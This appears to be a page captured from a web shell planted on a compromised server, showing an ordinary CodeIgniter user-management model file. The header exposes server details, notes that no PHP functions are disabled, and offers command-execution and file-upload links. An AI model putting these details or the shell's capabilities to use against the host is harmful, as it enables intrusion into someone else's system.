|
Server IP : 172.26.0.195 / Your IP : 3.145.8.139 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../alumni/../css/../jobs/application/models/user/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
*
* @author Softpro India Pvt. Ltd
*/
class UserManagement extends CI_Model{
//put your code here
function updateUser($userData){
$this->db->where("um_id",$userData["um_id"]);
return $this->db->update("user_mst",$userData);
}
function getUserDeatils($um_id){
$this->db->select("*");
$this->db->from("user_mst");
$this->db->where("um_id",$um_id);
return $this->db->get();
}
function applicationFormStatus($am_disp_id,$currentDate){
$this->db->select("max(vm.end_date) as max_end_date");
$this->db->from("user_mst um");
$this->db->join("application_mst am","am.um_id = um.um_id");
$this->db->join("vacancy_mst vm","vm.vm_id = am.vm_id");
$this->db->join("application_details_mst adm","adm.app_details_id = am.app_details_id");
$this->db->where("am.am_disp_id",$am_disp_id);
//$this->db->where("vm.start_date <='$currentDate' AND vm.end_date >='$currentDate'");
$this->db->group_by("am.am_disp_id");
// $this->db->limit(1,0);
return $this->db->get();
}
}